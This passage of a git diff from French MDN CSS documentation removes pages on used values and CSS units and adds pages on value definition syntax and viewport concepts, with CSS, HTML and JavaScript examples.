    3. -
  3. Ensuite, la mise en page est calculée (les dimensions qui ont pour valeur auto ou des pourcentages relatifs à des parents sont remplacées par des valeurs en pixels), et le résultat est la valeur utilisée.
    4. -
  4. Enfin, la valeur est transformée selon les limites de l'environnement actuel, le résultat est la valeur réelle. La valeur finalement utilisée est la valeur réelle, éventuellement approximée en fonction des contraintes de l'agent utilisateur. Ces valeurs sont calculées de manière interne ; un script peut seulement lire les valeurs utilisées finales grâce à window.getComputedStyle  (bien que cette méthode peut renvoyer la valeur calculée selon la propriété, la valeur renvoyée par cette méthode est généralement appelée valeur résolue).
    5. -
- -

Différence avec les valeurs calculées

- -

CSS 2.0 définissait la valeur calculée comme la dernière étape du calcul de la valeur. CSS 2.1 a introduit une définition distincte de la valeur utilisée afin qu'un élément puisse hériter d'une largeur ou d'une hauteur d'un parent de manière explicite si la valeur calculée du parent est un pourcentage. Pour les propriétés CSS qui ne dépendent pas de la mise en page (comme display, font-size ou line-height), les valeurs calculées et les valeurs utilisées sont identiques. Voici les propriétés qui dépendent de la mise en page et dont les valeurs calculées sont différentes des valeurs utilisées (extrait de CSS 2.1 Changes: Specified, computed, and actual values) :

- -
    -
  • background-position
    • -
  • bottom, left, right, top
    • -
  • height, width
    • -
  • margin-bottom, margin-left, margin-right, margin-top
    • -
  • min-height, min-width
    • -
  • padding-bottom, padding-left, padding-right, padding-top
    • -
  • text-indent
    • -
- -

Exemples

- -

Cet exemple illustre et calcule les largeurs utilisées pour les trois éléments.

- -

CSS

- -
#no-width {
-  width: auto;
-}
-
-#width-50 {
-  width: 50%;
-}
-
-#width-inherit {
-  width: inherit;
-}
-
-/* Permet de mieux voir les résultats */
-div {
-  border: 1px solid red;
-  padding: 8px;
-}
- -

HTML

- -
<div id="no-width">
-  <p>Pas de largeur explicite.</p>
-  <p class="show-used-width">..</p>
-
-  <div id="width-50">
-    <p>Largeur explicite : 50%.</p>
-    <p class="show-used-width">..</p>
-
-    <div id="width-inherit">
-      <p>Largeur explicite: héritée avec <code>inherit</code>.</p>
-      <p class="show-used-width">..</p>
-    </div>
-  </div>
-</div>
-
- -

JavaScript

- -
function updateUsedWidth(id) {
-  var div = document.querySelector(`#${id}`);
-  var par = div.querySelector('.show-used-width');
-  var wid = window.getComputedStyle(div)["width"];
-  par.textContent = `Used width: ${wid}.`;
-}
-
-function updateAllUsedWidths() {
-  updateUsedWidth("no-width");
-  updateUsedWidth("width-50");
-  updateUsedWidth("width-inherit");
-}
-
-updateAllUsedWidths();
-window.addEventListener('resize', updateAllUsedWidths);
-
-
- -

Résultat

- -

{{EmbedLiveSample('Exemples', '80%', '372px')}}

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName("CSS2.2", "cascade.html#used-value", "used value")}}{{Spec2("CSS2.2")}}
{{SpecName("CSS2.1", "cascade.html#used-value", "used value")}}{{Spec2("CSS2.1")}}Définition initiale.
- -

Voir aussi

- - diff --git "a/files/fr/web/css/valeurs_et_unit\303\251s_css/index.html" "b/files/fr/web/css/valeurs_et_unit\303\251s_css/index.html" deleted file mode 100644 index 0c1c4f9b57..0000000000 --- "a/files/fr/web/css/valeurs_et_unit\303\251s_css/index.html" +++ /dev/null @@ -1,494 +0,0 @@ ---- -title: Valeurs et unités CSS -slug: Web/CSS/Valeurs_et_unités_CSS -tags: - - CSS - - Reference -translation_of: Web/CSS/CSS_Values_and_Units ---- -
{{CSSRef}}
- -

Chaque déclaration CSS inclut une paire constituée d'une propriété et d'une valeur. La plupart de celles-ci sont définies dans le module de spécification CSS Values and Units (Valeurs et unités CSS). Dans cet article, nous verrons ces différents types et valeurs ainsi que des notions de base quant à leur utilisation. Pour obtenir des informattions plus détaillées, vous pouvez consulter la page de chacun de ces types.

- -

Types de données textuels

- -
    -
  • {{cssxref("<custom-ident>")}}
    • -
  • Des mots-clés prédéfinis tels que les identifiants (<ident>)
    • -
  • {{cssxref("<string>")}}
    • -
  • {{cssxref("<url>")}}
    • -
- -

Une valeur dont le type de donnée est textuel peut être un identifiant CSS (<ident>) ou une chaîne de caractères (<string>). Lorsqu'il s'agit d'un identifiant CSS, celui-ci ne doit pas être entouré de doubles quotes (guillemets anglais). En revanche, les chaînes de caractères (<string>) doivent être délimitées par des quotes ou des doubles quotes.

- -

Dans les spécifications, les valeurs qui peuvent être définies par un développeur web sont indiquées comme {{cssxref("<custom-ident>")}} ; ce type de valeur se comportera comme n'importe quel autre identifiant CSS. Ainsi, pour la propriété {{cssxref("grid-area")}}, on peut utiliser une valeur de type <custom-ident> et si on a une zone de grille nommée content, on l'indiquera sans quotes :

- -
.item {
-  grid-area: content;
-}
-
- -

En revanche, lorsqu'on manipule une valeur de type {{cssxref("<string>")}}, comme ça peut être le cas lorsqu'on utilise la propriété {{cssxref("content")}}, il faut l'entourer de quotes :

- -
.item::after {
-  content: "Voici le contenu.";
-}
-
- -

Si le type indiqué dans la spécification est <custom-ident> | <string>, cela nidiquera que les quotes sont optionnelles. C'est par exemple le cas avec les noms des animations :

- -
@keyframe identifiantValide {
-  /* on place les keyframes ici */
-}
-
-@keyframe 'chaineValide' {
-  /* on place les keyframes ici */
-}
- -

Bien qu'on puisse généralement utiliser presque n'importe nom (y compris en le composant d'emojis), un identifiant ne peut pas être none, unset, initial ou inherit, ne peut pas commencer par un chiffre ou par deux tirets. De façon générale, il ne faut pas qu'un identifiant soit un mot-clé CSS existant. Pour plus d'informations, voir les pages {{cssxref("<custom-ident>")}} et {{cssxref("<string>")}}.

- -

Mots-clés prédéfinis

- -

Les spécifications définissent également des mots-clés utilisables comme valeurs pour certaines propriétés. Ces mots-clés sont également des identifiants CSS et ne doivent pas être entourés de guillemets.

- -

Lorsque vous consultez une spécification ou un article de MDN à propos d'une propriété, vous pourrez voir les mots-clés autorisés sous la forme suivante. Voici un exemple avec les valeurs autorisées pour la propriété {{cssxref("break-inside")}}.

- -
auto | avoid | avoid-page | avoid-column | avoid-region
- -

Dans une déclaration, on pourra donc écrire (sans quote) :

- -
.box {
-  break-inside: avoid;
-}
-
- -

Mots-clés généraux

- -

En complément des mots-clés définis pour certaines propriétés, il existe trois mots-clés utilisables pour l'ensemble des propriétés CSS : {{cssxref("initial")}}, {{cssxref("inherit")}} et {{cssxref("unset")}}.

- -

Le mot-clé initial représente la valeur définie comme la valeur initiale de la propriété. Le mot-clé inherit correspond à la valeur calculée de la propriété sur l'élément parent si celle-ci est héritée.

- -

Le mot-clé unset agit comme inherit ou initial selon que la propriété soit héritée ou non.

- -

Une quatrième valeur, {{cssxref("revert")}}, a été ajoutée dans le module de spécification de niveau 4 sur la cascade mais sa prise en charge est encore faible et hétérogène (en février 2019).

- -

URL

- -

Une valeur de type {{cssxref("<url>")}} s'utilise avec une notation fonctionnelle qui prend une chaîne de caractères (type <string>) comme argument et qui est une URL. La chaîne de caractères peut être une URL absolue ou relative. Ainsi, si on souhaite inclure une image d'arrière-plan, on pourra utiliser l'une ou l'autre de ces déclarations.

- -
.box {
-  background-image: url("images/mon-arriere-plan.png");
-}
-
-.box {
-  background-image: url("https://www.exammple.com/images/mon-arriere-plan.png");
-}
-
- -

On notera que la valeur passée à url() peut ne pas contenir de quotes. Dans ce cas, elle sera analysée comme une valeur <url-token> et devra respecter certaines règles supplémentaires quant à l'échappement de certains caractères. Voir la page {{cssxref("<url>")}} pour plus d'informations.

- -

Types de données numériques

- -
    -
  • {{cssxref("<integer>")}}
    • -
  • {{cssxref("<number>")}}
    • -
  • {{cssxref("<dimension>")}}
    • -
  • {{cssxref("<percentage>")}}
    • -
- -

Entiers

- -

Un entier ({{cssxref("<integer>")}}) se compose d'un ou plusieurs chiffres entre 0 et 9 (exemple de valeurs : 1024 ou -55). Un entier peut être précédé d'un signe + ou -.

- -

Nombres

- -

Un nombre ({{cssxref("<number>")}}) représente un nombre décimal pouvant avoir (ou non) une composante décimale. Le séparateur décimal utilisé est le point. Ainsi, 1 et 1.2 sont des nombres en CSS. Les nombres peuvent être précédés d'un signe + ou -.

- -

Dimensions

- -

Une valeur {{cssxref("<dimension>")}} est un nombre (<number>) suivi directement d'une unité (par exemple 10px). L'identifiant utilisé pour exprimer l'unité est insensible à la casse et est lui-même un identifiant. Il n'y a jamais d'espace entre le nombre et l'unité (1 cm ne sera pas valide). CSS utilise les dimensions pour les types suivants :

- -
    -
  • {{cssxref("<length>")}} (longueurs avec des unités de distance)
    • -
  • {{cssxref("<angle>")}}
    • -
  • {{cssxref("<time>")}}
    • -
  • {{cssxref("<frequency>")}}
    • -
  • {{cssxref("<resolution>")}}
    • -
- -

Nous verrons chacun de ces types dans les sections suivantes.

- -
    -
- -

Unités de distance

- -

Lorsqu'on peut utiliser une distance comme valeur d'une propriété, cette valeur est décrite avec le type {{cssxref("<length>")}}. Il existe deux types de longueur en CSS : les longueurs absolues d'une part et les longueurs relatives d'autre part.

- -

Les unités de longueur relative permettent d'exprimer une distance relative à une autre grandeur. Ainsi, l'unité em sera relative à la taille (corps) de la police pour l'élément ; l'unité vh sera relative à la hauteur de la zone d'affichage (viewport).

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Récapitulatif des unités relatives
UnitéRelative à
emLa taille (corps) de police de l'élément
exLa hauteur d'un x avec la police utilisée par l'élément
capLa hauteur d'une majuscule nominale avec la police utilisée par l'élément
chLa largeur moyenne d'un glyphe étroit et de l'espace alentour pour la police utilisée par l'élément (le glyphe concerné étant “0” (ZERO, U+0030)).
icLa largeur moyenne d'un glyphe large et de l'espace alentour pour la police utilisée par l'élément (exemple de glyphe “水” ).
remLa taille (corps) de police de l'élément racine
lhLa hauteur de la ligne de l'élément
rlhLa hauteur de la ligne de l'élément racine
vw1% de la largeur de la zone d'affichage (viewport)
vh1% de la hauteur de la zone d'affichage (viewport)
vi1% de la taille de la zone d'affichage sur l'axe en ligne (inline axis)
vb1% de la taille de la zone d'affichage sur l'axe de bloc (block axis)
vmin1% de la zone d'affichage selon sa plus petite dimension
vmax1% de la zone d'affichage selon sa plus grande dimension
- -

Les unités de longueur absolue correspondent à des mesures physiques et sont ainsi particulièrement adaptées lors que le média d'affichage possède une taille fixe (l'impression par exemple). Ainsi, l'unité cm correspond à un centimètre physique.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Récapitulatif des unités de longueur absolue
UnitéNomÉquivalence
cmCentimètre1cm = 96px/2.54
mmMillimètre1mm = 1/10e de 1cm
QQuart de millimètre1Q = 1/40e de 1cm
inPouces (inches)1in = 2.54cm = 96px
pcPicas1pc = 1/16e de 1in
ptPoints1pt = 1/72e de 1in
pxPixels1px = 1/96e de 1in
- -

Lorsqu'on utilise une longueur nulle (sa valeur est 0), l'identifiant correspondant à l'unité n'est pas obligatoire. Dans tous les autres cas, l'unité doit être écrite juste après la valeur (sans espace). L'identifiant de l'unité est insensible à la casse.

- -

Unités angulaires

- -

Les valeurs angulaires sont représentées avec le type {{cssxref("<angle>")}} et peuvent être décrites avec les unités suivantes :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
UnitéNomDescription
degDegrésUn cercle se divise en 360 degrés égaux.
gradGrades/GradiansUn cercle se compose de 400 grades.
radRadiansUn cercle se compose de 2π radians.
turnToursUn cercle se compose d'un tour.
- -

Unités temporelles

- -

Les valeurs temporelles sont de type {{cssxref("<time>")}} et utilisent les unités suivantes.

- - - - - - - - - - - - - - - - - - - - - -
UnitéNomDescription
sSecondes 
msMillisecondesUn millième de seconde.
- -

Unités de fréquence

- -

Les valeurs de fréquence ont le type {{cssxref("<frequency>")}} et utilisent les valeurs suivantes.

- - - - - - - - - - - - - - - - - - - - - -
UnitéNomDescription
HzHertzNombre de fois par seconde.
kHzKilohertz1000 Hertz.
- -

Unités de résolution

- -

Les résolutions sont représentées par des valeurs de type {{cssxref("<resolution>")}}. Elles correspondent à la taille d'un point sur une représentation graphique et décrivent la quantité de ces points sur un pixel, pouce ou centimètre CSS.

- - - - - - - - - - - - - - - - - - - - - - -
UnitéDescription
dpiPoints par pouce.
dpcmPoints par centimètre.
dppx, xPoints par unité px.
- -

Pourcentages

- -

Une valeur de type {{cssxref("<percentage>")}} représente une fraction d'une autre valeur de référence.

- -

Les valeurs exprimées en pourcentages sont relatives à d'autres quantités (une longueur par exemple). Chaque propriété qui permet d'utiliser un pourcentage définit également la quantité à laquelle se réfère ce pourcentage. Cette quantité peut être une valeur d'une autre propriété du même élément, la valeur de la propriété sur un élément ancêtre, une caractéristique du bloc englobant ou autre chose.

- -

Ainsi, si on utilise {{cssxref("width")}} avec un pourcentage sur une boîte. Ce pourcentage fera référence à la largeur calculée de l'élément parent de la boîte :

- -
.box {
-  width: 50%;
-}
- -

Mélanges entre les pourcentages et les dimensions

- -

Certaines propriétés permettent d'utiliser une dimension avec deux types possibles (par exemple une longueur ou un pourcentage). Dans ce cas, la valeur mentionnée dans la spécification a une unité composite (ex. {{cssxref("<length-percentage>")}}). Voici les différentes unités composites qui existent :

- -
    -
  • {{cssxref("<frequency-percentage>")}}
    • -
  • {{cssxref("<angle-percentage>")}}
    • -
  • {{cssxref("<time-percentage>")}}
    • -
- -

Types de données spéciaux (définis via d'autres spécifications)

- -
    -
  • {{cssxref("<color>")}}
    • -
  • {{cssxref("<image>")}}
    • -
  • {{cssxref("<position>")}}
    • -
- -

Couleur

- -

Une valeur de type {{cssxref("<color>")}} permet de représenter une couleur pour un élément (par exemple la couleur de son arrière-plan). Ce type est défini dans le module de spécification CSS Color.

- -

Image

- -

Une valeur de type {{cssxref("<image>")}} permet de représenter une image utilisable en CSS. Ce type est défini dans le module de spécification CSS Image Values and Replaced Content Module.

- -

Position

- -

Le type {{cssxref("<position>")}} définit le positionnement, sur deux dimensions, d'un objet sur une zone de positionnement. Ce peut être le positionnement d'une image d'arrière-plan par rapport à son conteneur par exemple. Ce type est interprété comme {{cssxref("background-position")}} et est donc spécifié avec le module CSS Backgrounds and Borders.

- -

Notations fonctionnelles (fonctions)

- -
    -
  • {{cssxref("calc()")}}
    • -
  • {{cssxref("min", "min()")}}
    • -
  • {{cssxref("max", "max()")}}
    • -
  • {{cssxref("clamp", "clamp()")}}
    • -
  • {{cssxref("toggle", "toggle()")}}
    • -
  • {{cssxref("attr", "attr()")}}
    • -
- -

Les notations fonctionnelles sont des types de valeur qui peuvent représenter des types plus complexes ou qui impliquent un traitement spécifique du moteur de rendu. La syntaxe commence par le nom de la fonction, immédiatement suivi d'une parenthèse gauche ( suivie des arguments de la notation, suivis d'une parenthèse droite). Les fonctions peuvent prendre plusieurs arguments qui ont une forme analogue à celle utilisée pour les valeurs des propriétés.

- -

Les espaces sont optionnels mais autorisés à l'intérieur des parenthèses.

- -
-

Note : Contrairement à d'autres langages, la virgule n'est pas toujours le séparateur utilisé entre les arguments d'une notation fonctionnelle.

-
- -

Certaines notations fonctionnelles historiques telles que rgba() utilisent des virgules pour séparer des arguments mais la plupart du temps, les virgules sont uniquement utilisées afin de séparer les éléments d'une liste. Si une virgule est utilisée comme séparateur entre des arguments, on peut ajouter un espace optionnel avant et après la virgule.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName("CSS4 Values")}}{{Spec2("CSS4 Values")}}Ajout des unités vi, vb, ic, cap, lh et rlh.
- Ajout des notations fonctionnelles  min(), max() et clamp().
- Ajout de  toggle()
{{SpecName("CSS3 Values")}}{{Spec2("CSS3 Values")}}Ajout de calc(), ch, rem, vw, vw, vmin, vmax, Q
{{SpecName("CSS4 Colors")}}{{Spec2("CSS4 Colors")}}Ajout des syntaxes sans virgule pour les fonctions rgb(), rgba(), hsl() et hsla(). Ajout des valeurs alpha pour  rgb() et hsl(), transformant ainsi rgba() et hsla() en alias respectifs (dépréciés).
- Ajout du mot-clé de couleur rebeccapurple.
- Ajout des couleurs sur 4 et 8 chiffres hexadécimaux où le dernier chiffre représente la valeur alpha.
- Ajout des fonctions hwb(), device-cmyk() et color().
{{SpecName("CSS3 Colors")}}{{Spec2("CSS3 Colors")}}Dépréciation des couleurs système. Ajout des couleurs SVG. Ajout des fonctions rgba(), hsl() et hsla().
{{SpecName("CSS4 Images")}}{{Spec2("CSS4 Images")}} -

Ajout des notations fonctionnelles element(), image(), image-set(), conic-gradient()

-
{{SpecName("CSS3 Images")}}{{Spec2("CSS3 Images")}}Définition initiale du type image.
{{SpecName("CSS2.1")}}{{Spec2("CSS2.1")}} 
{{SpecName("CSS1")}}{{Spec2("CSS1")}}Définition initiale.
- -

Voir aussi

- - diff --git a/files/fr/web/css/value_definition_syntax/index.html b/files/fr/web/css/value_definition_syntax/index.html new file mode 100644 index 0000000000..2acb4d1da7 --- /dev/null +++ b/files/fr/web/css/value_definition_syntax/index.html @@ -0,0 +1,421 @@ +--- +title: Syntaxe de définition des valeurs +slug: Web/CSS/Syntaxe_de_définition_des_valeurs +tags: + - CSS + - Débutant + - Reference +translation_of: Web/CSS/Value_definition_syntax +--- +
{{CSSRef}}
+ +

La syntaxe de définition des valeurs CSS est une grammaire formelle qui définit les règles pour créer des règles CSS valides. En plus de ces règles, il peut y avoir des contraintes sémantiques (ex. un nombre doit être positif pour une propriété donnée).

+ +

La syntaxe de définition décrit les valeurs qui sont permises et les interactions entre ces valeurs. Un composant peut-être un mot-clé, un littéral, une valeur d'un type donné ou une autre propriété CSS.

+ +

Les types de composants

+ +

Les mots-clés

+ +

Les mots-clés génériques

+ +

Un mot-clé avec une signification prédéfinie, qui peut apparaître littéralement, sans apostrophes ou guillemets (ex. auto, smaller ou ease-in).

+ +

inherit, initial et unset

+ +

Toutes propriétés CSS acceptent les mots-clés inherit, initial et unset définies par la spécification CSS. Ces mots-clés ne sont pas listés dans la définition de la syntaxe et sont définies implicitement.

+ +

Les littéraux

+ +

En CSS, quelques caractères peuvent apparaître directement (ex. la barre oblique « / » ou la virgule « , ») et sont utilisés dans les définitions d'une propriété pour séparer ses composantes. La virgule est généralement utilisée pour séparer des valeurs d'une liste ou des paramètres d'une fonction. La barre oblique sépare des composantes sémantiquement différentes mais avec une syntaxe similaire. Généralement, la barre oblique est utilisée dans les propriétés raccourcies pour séparer les composants du même type mais qui sont associés aux différentes propriétés détaillées.

+ +

Ces deux symboles sont utilisés tels quels dans la définition d'une valeur.

+ +

Les types de donnée

+ +

Les types de donnée simples

+ +

Certains types de donnée sont utilisés pour différentes propriétés et sont définis pour l'ensemble des valeurs de la spécification. Ce sont les types de donnée simples et sont représentés par leur nom encadré par des chevrons (le type angle est donc représenté par : {{ cssxref("<angle>") }}, {{cssxref("<string>")}}, et ainsi de suite).

+ +

Les types de donnée non terminaux

+ +

D'autres types de donnée, moins utilisés, sont appelés types de donné non-terminaux et sont également encadrés par des chevrons.

+ +

Les types de donnée non terminaux sont de deux sortes :

+ +
    +
  • Les types de donnée qui utilisent le même nom qu'une propriété. Dans ce cas, le type de donnée correspond à l'ensemble des valeurs utilisé par la propriété. Ceux-ci sont généralement utilisés dans les définitions des propriétés raccourcies.
    • +
  • Les types de donnée dont le nom de n'est pas celui d'une propriété. Ces types de donnée sont très proches des types simples. La seule différence est l'emplacement de leur définition : dans ce cas, la définition est généralement très proche de la définition de la propriété qui les utilise.
    • +
+ +

Les combinateurs

+ +

Les crochets

+ +

Les crochets permettent de regrouper plusieurs entités, combinateurs et multiplicateurs pour les transformer en un seul composant. Cela permet de grouper les composants afin d' appliquer des règles de priorités (supérieures aux règles de précédence).

+ +
bold [ thin && <length> ]
+ +

Cet exemple pourra illustrer les valeurs suivantes :

+ +
    +
  • bold thin 2vh
    • +
  • bold 0 thin
    • +
  • bold thin 3.5em
    • +
+ +

Mais ne correspondra pas à :

+ +
    +
  • thin bold 3em car bold est juxtaposé au composant défini entre les crochets alors qu'il doit apparaître avant.
    • +
+ +

Juxtaposition

+ +

Si on place plusieurs mots-clés, littéraux ou types de donnée les uns à la suite des autres, séparés par un ou plusieurs blancs, cela indique que tous les composants sont obligatoires et doivent apparaître dans cet ordre.

+ +
bold <length> , thin
+
+ +

Cet exemple pourra illustrer les valeurs suivantes :

+ +
    +
  • bold 1em, thin
    • +
  • bold 0, thin
    • +
  • bold 2.5cm, thin
    • +
  • bold 3vh, thin
    • +
+ +

Mais il ne correspondra pas à :

+ +
    +
  • thin 1em, bold car les entités ne sont pas dans l'ordre indiqué
    • +
  • bold 1em thin car les entités sont obligatoires et la virgule qui est un littéral doit être présente
    • +
  • bold 0.5ms, thin car les valeurs ms ne sont pas des valeurs du type {{cssxref("<length>")}}
    • +
+ +

Double esperluette

+ +

Lorsqu'on sépare deux ou plusieurs composants par une double esperluette, cela signifie que toutes les entités sont obligatoires mais peuvent apparaître dans n'importe quel ordre.

+ +
bold && <length>
+
+ +

Cet exemple pourra illustrer les valeurs suivantes :

+ +
    +
  • bold 1em
    • +
  • bold 0
    • +
  • 2.5cm bold
    • +
  • 3vh bold
    • +
+ +

Mais il ne correspondra pas à :

+ +
    +
  • bold car les deux composants doivent apparaître.
    • +
  • bold 1em bold car les deux composants doivent apparaître exactement une fois.
    • +
+ +
Note : La juxtaposition est prioritaire par rapport à la double esperluette. bold thin && <length> est donc équivalent à [ bold thin ] && <length>. Il décrit bold thin <length> ou <length> bold thin mais pas bold <length> thin.
+ +

Double barre

+ +

Lorsque deux ou plusieurs composants sont séparés par une double barre verticale ||. Cela signifie qu'au moins un composant doit être présent et qu'ils peuvent apparaître dans n'importe quel ordre. Généralement, ceci est utilisé pour définir les différentes valeurs d'une propriété raccourcie.

+ +
<'border-width'> || <'border-style'> || <'border-color'>
+
+ +

Cet exemple pourra illustrer les valeurs suivantes :

+ +
    +
  • 1em solid blue
    • +
  • blue 1em
    • +
  • solid 1px yellow
    • +
+ +

Mais il ne correspondra pas à :

+ +
    +
  • blue yellow car le composant doit apparaître au plus une fois.
    • +
  • bold car le mot-clé n'est pas permis pour aucune valeur de l'entité.
    • +
+ +
Note : La double esperluette est prioritaire par rapport à la double barre. bold || thin && <length> est équivalent à bold || [ thin && <length> ] qui décrit bold, thin <length>, bold thin <length>, ou thin <length> bold mais pas <length> bold thin car bold, s'il est présent doit apparaître avant thin && <length>.
+ +

La barre verticale

+ +

Lorsqu'on sépare deux entités par une barre verticale. Cela signifie que les différentes options sont exclusives : seule une des options doit être présente. Généralement, cela permet de séparer différents mots-clés possible.

+ +
<percentage> | <length> | left | center | right | top | bottom
+ +

Cet exemple pourra illustrer les valeurs suivantes :

+ +
    +
  • 3%
    • +
  • 0
    • +
  • 3.5em
    • +
  • left
    • +
  • center
    • +
  • right
    • +
  • top
    • +
  • bottom
    • +
+ +

Mais il ne correspondra pas à :

+ +
    +
  • center 3% car seul un seul des composants doit être présent.
    • +
  • 3em 4.5em car un composant doit être présent au plus une seule fois.
    • +
+ +
+

Note : La double barre verticale est prioritaire par rapport à la simple barre verticale. Ainsi bold | thin || <length> est équivalent à bold | [ thin || <length> ] qui décrit bold, thin, <length>, <length> thin ou thin <length> mais pas bold <length> car seule entité peut être présente.

+
+ +

Les multiplicateurs

+ +

Un multiplicateur est un signe qui indique nombre de fois qu'une entité peut être répétée. Sans aucun multiplicateur, une entité doit apparaître exactement une fois.

+ +

L'astérisque (*)

+ +

L'astérisque indique qu'une entité peut apparaître zéro, une ou plusieurs fois.

+ +
bold smaller*
+ +

Cet exemple pourra illustrer les valeurs suivantes :

+ +
    +
  • bold
    • +
  • bold smaller
    • +
  • bold smaller smaller
    • +
  • bold smaller smaller smaller and so on.
    • +
+ +

Mais il ne correspondra pas à :

+ +
    +
  • smaller car bold est juxtaposé et doit apparaître avant le mot-clé smaller.
    • +
+ +

Plus (+)

+ +

Le multiplicateur « plus » indique que l'entité peut apparaître une ou plusieurs fois.

+ +
bold smaller+
+ +

Cet exemple pourra illustrer les valeurs suivantes :

+ +
    +
  • bold smaller
    • +
  • bold smaller smaller
    • +
  • bold smaller smaller smaller and so on.
    • +
+ +

Mais il ne correspondra pas à :

+ +
    +
  • bold car smaller doit apparaître au moins une fois
    • +
  • smaller car bold est juxtaposé et doit apparaitre avant smaller.
    • +
+ +

Le point d'interrogation (?)

+ +

Le point d'interrogation indique que l'entité est optionnelle et doit apparaître zéro ou une fois.

+ +
bold smaller?
+ +

Cet exemple pourra illustrer les valeurs suivantes :

+ +
    +
  • bold
    • +
  • bold smaller
    • +
+ +

Mais il ne correspondra pas à :

+ +
    +
  • bold smaller smaller car smaller doit apparaître au plus une fois
    • +
  • smaller car bold est juxtaposé et doit apparaître avant le mot-clé smaller s'il est présent.
    • +
+ +

Les accolades ({ })

+ +

Les accolades encadrent deux entiers A et B, séparés par une virgule et indiquent que l'entité doit apparaître au moins A fois et au plus B fois.

+ +
bold smaller{1,3}
+ +

Cet exemple pourra illustrer les valeurs suivantes :

+ +
    +
  • bold smaller
    • +
  • bold smaller smaller
    • +
  • bold smaller smaller smaller
    • +
+ +

Mais il ne correspondra pas à :

+ +
    +
  • bold car smaller doit apparaître au moins une fois.
    • +
  • bold smaller smaller smaller smaller car smaller doit apparaître au plus trois fois.
    • +
  • smaller car bold est juxtaposé et doit apparaître avant le mot-clé smaller.
    • +
+ +

Dièse (#)

+ +

Le symbole dièse indique qu'une entité doit être répétée une ou plusieurs fois et que chaque occurrence est séparée par une virgule.

+ +
bold smaller#
+ +

Cet exemple pourra illustrer les valeurs suivantes :

+ +
    +
  • bold smaller
    • +
  • bold smaller, smaller
    • +
  • bold smaller, smaller, smaller and so on.
    • +
+ +

Mais il ne correspondra pas à :

+ +
    +
  • bold car smaller doit apparaître au moins une fois.
    • +
  • bold smaller smaller smaller car les différentes occurrences de smaller doivent être séparées par des virgules.
    • +
  • smaller car bold est juxtaposé et doit apparaître avant toute occurrence du mot-clé smaller.
    • +
+ +

Point d'exclamation (!)

+ +

Le multiplicateur point d'exclamation est utilisé après un groupe pour indiquer que celui-ci ne doit produire qu'une seule valeur. Ici, même si la grammaire des éléments du groupe indiquent que tous les composants peuvent être absents, il faut qu'il y ait au moins un composant présent.

+ +
[ bold? smaller? ]!
+
+ +

Cet exemple correspondra aux valeurs suivantes :

+ +
    +
  • bold
    • +
  • smaller
    • +
  • bold smaller
    • +
+ +

Mais pas à :

+ +
    +
  • ni bold ni smaller, car il faut au moins l'un des deux.
    • +
  • smaller bold, car bold est juxtaposé et doit apparaître avant le mot-clé smaller.
    • +
  • bold smaller bold, car bold et smaller doivent apparaître au plus une fois.
    • +
+ +

Récapitulatif

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SigneNomDescriptionExemple
Combinateurs
 JuxtapositionLes composants sont obligatoires et doivent apparaître dans cet ordre.solid <length>
&&Double esperluetteLes composants sont obligatoires mais peuvent apparaître dans n'importe quel ordre.<length> && <string>
||Double barreAu moins un des composants doit être présent et ils peuvent apparaître dans n'importe quel ordre.<'border-image-outset'> || <'border-image-slice'>
|Barre simpleUn et un seul des composants doit être présent.smaller | small | normal | big | bigger
[ ]CrochetsLes composants peuvent être groupés pour avoir une priorité supérieure aux règles précédentes.bold [ thin && <length> ]
Multiplicateurs
 Aucun multiplicateurExactement 1 fois.solid
*Astérisque0 ou plus.bold smaller*
+Signe plus1 ou plus.bold smaller+
?Point d'interrogation0 ou 1 fois (autrement dit, la valeur est optionnelle)bold smaller?
{A,B}AccoladesAu moins A fois et au plus B fois.bold smaller{1,3}
#Dièse1 ou plus de fois mais chaque occurrence doit être séparée d'une autre par une virgule.bold smaller#
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatComment
{{SpecName("CSS3 Values", "#value-defs", "Value definition syntax")}}{{Spec2('CSS3 Values')}}Ajout du multiplicateur avec le dièse.
{{SpecName("CSS2.1", "about.html#value-defs", "Value definition syntax")}}{{Spec2('CSS2.1')}}Ajout de la double esperluette.
{{SpecName("CSS1", "#notation-for-property-values", "Value definition syntax")}}{{Spec2('CSS1')}}Définition initiale.
diff --git a/files/fr/web/css/viewport_concepts/index.html b/files/fr/web/css/viewport_concepts/index.html new file mode 100644 index 0000000000..56143515c0 --- /dev/null +++ b/files/fr/web/css/viewport_concepts/index.html @@ -0,0 +1,156 @@ +--- +title: Concepts relatifs au viewport +slug: Web/CSS/Concepts_viewport +tags: + - CSS + - Guide + - viewport +translation_of: Web/CSS/Viewport_concepts +--- +

{{CSSRef}}

+ +

Dans cet article, nous définirons le concept de viewport ou de zone d'affichage, les différences entre la zone d'affichage visuelle et la zone d'affichage pour la disposition. Nous verrons également ce que signifie la zone d'affichage pour CSS, SVG et pour les appareils mobiles.

+ +

Qu'est-ce qu'une zone d'affichage (viewport) ?

+ +

Une zone d'affichage (aussi appelée viewport en anglais) représente la zone actuellement visible sur l'appareil. Pour un navigateur web, la zone d'affichage correspond généralement à la fenêtre du navigateur sans les éléments d'interface du navigateur (barre de menu, etc.). Bref, sur le Web, la zone d'affichage correspond la plupart du temps à la région à l'intérieur de la fenêtre dans laquelle vous consultez un site ou une application.

+ +

Les documents (à l'instar de cet article) peuvent être très longs. La zone d'affichage correspond à ce qui est actuellement visible. Dans notre cas particulier, vous devriez pouvoir voir le titre Qu'est-ce qu'une zone d'affichage peut-être le menu de navigation. La taille de la zone d'affichage dépend de la taille de l'écran, de l'activation du mode plein écran, du niveau de zoom, etc. Le contenu situé à l'extérieur de la zone d'affichage (la section Voir aussi de ce document par exemple) n'est pas visible tant que l'utilisateur n'a pas fait défilé le contenu jusqu'à ce point.

+ +
    +
